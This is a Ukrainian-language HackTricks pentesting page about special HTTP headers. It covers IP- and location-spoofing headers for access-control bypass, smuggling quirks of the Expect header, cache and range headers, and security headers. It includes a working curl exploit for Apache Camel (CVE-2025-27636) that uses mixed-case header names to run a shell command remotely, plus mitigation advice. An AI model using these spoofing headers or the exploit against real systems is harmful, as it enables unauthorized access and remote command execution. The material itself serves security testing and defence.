Спеціальні HTTP заголовки
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Словники та інструменти
- https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers
- https://github.com/rfc-st/humble
Заголовки для підміни локації
Підміна джерела IP:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For
(Перевіряйте hop-by-hop заголовки)
Підміна локації:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Заголовки Hop-by-Hop
Заголовок hop-by-hop — це заголовок, який призначений для обробки та використання проксі, що наразі обробляє запит, на відміну від end-to-end заголовка.
Connection: close, X-Forwarded-For
HTTP Request Smuggling
Content-Length: 30
Transfer-Encoding: chunked
HTTP Request Smuggling / HTTP Desync Attack
Заголовок Expect
Клієнт може відправити заголовок Expect: 100-continue
, після чого сервер може відповісти HTTP/1.1 100 Continue
, щоб дозволити клієнту продовжити відправлення тіла запиту. Однак деякі проксі не дуже добре працюють з цим заголовком.
Цікаві результати використання Expect: 100-continue
:
- Відправка HEAD-запиту з тілом — сервер не врахував, що HEAD не має тіла, і тримає з'єднання відкритим до тайм-ауту.
- Деякі сервери повертали дивні дані: випадкові байти, прочитані з сокету в відповіді, секретні ключі або навіть дозволяли запобігти видаленню значень заголовків фронтендом.
- Також це спричиняло 0.CL десинхронізацію, коли бекенд відповів 400 замість 100, але фронт-проксі був готовий відправити тіло початкового запиту, тож відправляє його, а бекенд сприймає це як новий запит.
- Відправка варіації
Expect: y 100-continue
також викликала 0.CL десинхронізацію. - Схожа помилка, коли бекенд відповідав 404, породжувала CL.0 десинхронізацію: шкідливий запит вказує
Content-Length
, тому бекенд відправляє шкідливий запит плюсContent-Length
байтів наступного запиту (жертви). Це десинхронізує чергу, бо бекенд надсилає 404 відповідь для шкідливого запиту плюс відповідь жертви, тоді як фронтенд думав, що надіслано лише 1 запит, тому друга відповідь відправляється другому потерпілому запиту, а відповідь того — наступному, і так далі...
Для більше інформації про HTTP Request Smuggling дивіться:
HTTP Request Smuggling / HTTP Desync Attack
Заголовки кешу
Server Cache Headers:
X-Cache
в відповіді може мати значенняmiss
, коли запит не кешований, іhit
, коли він кешований.- Подібна поведінка у заголовку
Cf-Cache-Status
. Cache-Control
вказує, чи кешується ресурс і коли ресурс знову стане застарілим:Cache-Control: public, max-age=1800
Vary
часто використовується у відповіді, щоб вказати додаткові заголовки, які враховуються як частина ключа кешу, навіть якщо зазвичай вони не є ключовими.Age
визначає час у секундах, протягом якого об'єкт знаходиться в кеші проксі.Server-Timing: cdn-cache; desc=HIT
також вказує, що ресурс був кешований.
Cache Poisoning and Cache Deception
Локальні заголовки кешу:
Clear-Site-Data
: Заголовок для вказання кешів, які слід видалити:Clear-Site-Data: "cache", "cookies"
Expires
: Містить дату/час, коли відповідь має втратити актуальність:Expires: Wed, 21 Oct 2015 07:28:00 GMT
Pragma: no-cache
те ж саме що йCache-Control: no-cache
Warning
: Загальний HTTP-заголовокWarning
містить інформацію про можливі проблеми зі статусом повідомлення. У відповіді може з'явитися кількаWarning
заголовків. Приклад:Warning: 110 anderson/1.3.37 "Response is stale"
Умовні запити
- Запити з заголовками
If-Modified-Since
таIf-Unmodified-Since
отримають відповідь з даними тільки якщо заголовок відповідіLast-Modified
містить інший час. - Умовні запити з використанням
If-Match
таIf-None-Match
використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися.Etag
береться з HTTP-відповіді. - Значення Etag зазвичай обчислюється на основі вмісту відповіді. Наприклад,
ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"
вказує, щоEtag
— це Sha1 для 37 байтів.
Range-запити
Accept-Ranges
: Вказує, чи підтримує сервер range-запити, і в яких одиницях можна задати діапазон.Accept-Ranges: <range-unit>
Range
: Вказує частину документа, яку сервер повинен повернути. Наприклад,Range:80-100
поверне байти з 80 по 100 оригінальної відповіді зі статусом 206 Partial Content. Також не забувайте видаляти заголовокAccept-Encoding
з запиту.- Це може бути корисно, щоб отримати відповідь з довільним відбитим javascript-кодом, який інакше був би екранований. Але для зловживання цим потрібно вміти інжектити ці заголовки в запит.
If-Range
: Створює умовний range-запит, який виконується тільки якщо вказаний etag або дата відповідає віддаленому ресурсу. Використовується, щоб запобігти завантаженню двох діапазонів з несумісних версій ресурсу.Content-Range
: Вказує, куди в повному тілі повідомлення належить часткове повідомлення.
Інформація про тіло повідомлення
Content-Length
: Розмір ресурсу у десятковому числі байтів.Content-Type
: Вказує медіа-тип ресурсу.Content-Encoding
: Використовується для вказання алгоритму стиснення.Content-Language
: Описує людські мови, для яких призначено вміст, щоб дозволити користувачу відрізняти згідно з власними мовними уподобаннями.Content-Location
: Вказує альтернативне розташування для повернутих даних.
З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс захищений кодом 401 або 403 і ви можете знайти якийсь спосіб отримати цю інфо, це може бути цікаво.
Наприклад, поєднання Range
та Etag
у HEAD-запиті може leak вміст сторінки через HEAD-запити:
- Запит з заголовком
Range: bytes=20-20
та у відповідіETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"
leak-ить, що SHA1 байта 20 —ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y
Інформація про сервер
Server: Apache/2.4.1 (Unix)
X-Powered-By: PHP/5.3.3
Контролі
Allow
: Цей заголовок використовується для повідомлення HTTP-методів, які ресурс може обробляти. Наприклад:Allow: GET, POST, HEAD
, що вказує, що ресурс підтримує ці методи.Expect
: Використовується клієнтом для повідомлення очікувань, які сервер має виконати для успішної обробки запиту. Частий приклад — заголовокExpect: 100-continue
, який сигналізує про намір клієнта відправити великий об'єм даних. Клієнт очікує відповідь100 (Continue)
перед тим, як продовжити передачу. Цей механізм допомагає оптимізувати мережевий трафік, очікуючи підтвердження від сервера.
Завантаження
- Заголовок
Content-Disposition
у HTTP-відповідях визначає, чи файл має відображатися вбудовано (в межах сторінки) або поводитися як вкладення (завантажуватись). Наприклад:
Content-Disposition: attachment; filename="filename.jpg"
Це означає, що файл із назвою "filename.jpg" призначений для завантаження та збереження.
Заголовки безпеки
Content Security Policy (CSP)
Content Security Policy (CSP) Bypass
Trusted Types
Застосовуючи Trusted Types через CSP, додатки можна захистити від атак DOM XSS. Trusted Types гарантують, що для небезпечних викликів web API можуть використовуватися лише спеціально сформовані об'єкти, які відповідають встановленим політикам безпеки, тим самим за замовчуванням захищаючи JavaScript-код.
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
// Name and create a policy
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/\</g, '<').replace(/>/g, '>');
});
}
// Assignment of raw strings is blocked, ensuring safety.
el.innerHTML = "some string" // Throws an exception.
const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
el.innerHTML = escaped // Results in safe assignment.
X-Content-Type-Options
Цей заголовок запобігає MIME type sniffing — практиці, яка може призвести до XSS-вразливостей. Він гарантує, що браузери дотримуються MIME-типів, вказаних сервером.
X-Content-Type-Options: nosniff
X-Frame-Options
Щоб протидіяти clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в <frame>
, <iframe>
, <embed>
або <object>
теги, і рекомендує всім документам явно вказувати свої права на вбудовування.
X-Frame-Options: DENY
Політика ресурсів між походженнями (CORP) та Спільний доступ до ресурсів між походженнями (CORS)
CORP має вирішальне значення для визначення того, які ресурси можуть завантажуватися вебсайтами, зменшуючи cross-site leaks. CORS, з іншого боку, дозволяє більш гнучкий механізм спільного доступу до ресурсів між походженнями, послаблюючи політику одного походження за певних умов.
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)
COEP та COOP необхідні для активації міждоменної ізоляції, що суттєво знижує ризик атак типу Spectre. Вони відповідно контролюють завантаження міждоменних ресурсів та взаємодію з міждоменними вікнами.
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
HTTP Strict Transport Security (HSTS)
Нарешті, HSTS — це функція безпеки, яка змушує браузери спілкуватися з серверами лише через захищені HTTPS-з'єднання, тим самим підвищуючи конфіденційність і безпеку.
Strict-Transport-Security: max-age=3153600
Обхід перевірки регістру імен заголовків
HTTP/1.1 визначає імена полів заголовків як без врахування регістру (RFC 9110 §5.1). Тим не менш, дуже часто зустрічаються користувацькі middleware, security filters або бізнес-логіка, що порівнюють буквальне ім'я заголовка, не нормалізуючи регістр спочатку (наприклад, header.equals("CamelExecCommandExecutable")
). Якщо такі перевірки виконуються з урахуванням регістру, атакуючий може їх обійти, просто відправивши той самий заголовок з іншим використанням великих/малих літер.
Типові ситуації, де ця помилка зустрічається:
- Користувацькі allow/deny списки, які намагаються блокувати “dangerous” internal headers перед тим, як запит досягне чутливого компонента.
- Внутрішні реалізації reverse-proxy псевдозаголовків (наприклад,
X-Forwarded-For
sanitisation). - Фреймворки, що відкривають management / debug endpoints і покладаються на імена заголовків для аутентифікації або вибору команд.
Зловживання обходом
- Визначте заголовок, який фільтрується або валідирується на стороні сервера (наприклад, шляхом читання вихідного коду, документації або повідомлень про помилки).
- Відправте той самий заголовок з іншим регістром (mixed-case або upper-case). Оскільки HTTP-стеки зазвичай канонізують заголовки лише після виконання користувацького коду, вразлива перевірка може бути пропущена.
- Якщо компонент нижчого рівня обробляє заголовки без врахування регістру (більшість так робить), він прийме значення, контрольоване атакуючим.
Приклад: Apache Camel exec
RCE (CVE-2025-27636)
У вразливих версіях Apache Camel маршрути Command Center намагалися блокувати недовірені запити, видаляючи заголовки CamelExecCommandExecutable
та CamelExecCommandArgs
. Порівняння виконувалося за допомогою equals()
, тому видалялися лише заголовки з точно відповідним регістром.
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
Headers потрапляють у компонент exec
без фільтрації, внаслідок чого відбувається remote command execution з привілеями процесу Camel.
Виявлення та пом'якшення
- Нормалізуйте всі header names до одного регістру (зазвичай lowercase) перед виконанням allow/deny comparisons.
- Відхиляйте підозрілі дублікати: якщо одночасно присутні
Header:
іHeAdEr:
, розцінюйте це як аномалію. - Використовуйте позитивний allow-list, застосований після canonicalisation.
- Захищайте management endpoints за допомогою authentication та network segmentation.
Джерела
- CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- https://web.dev/security-headers/
- https://web.dev/articles/security-headers
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.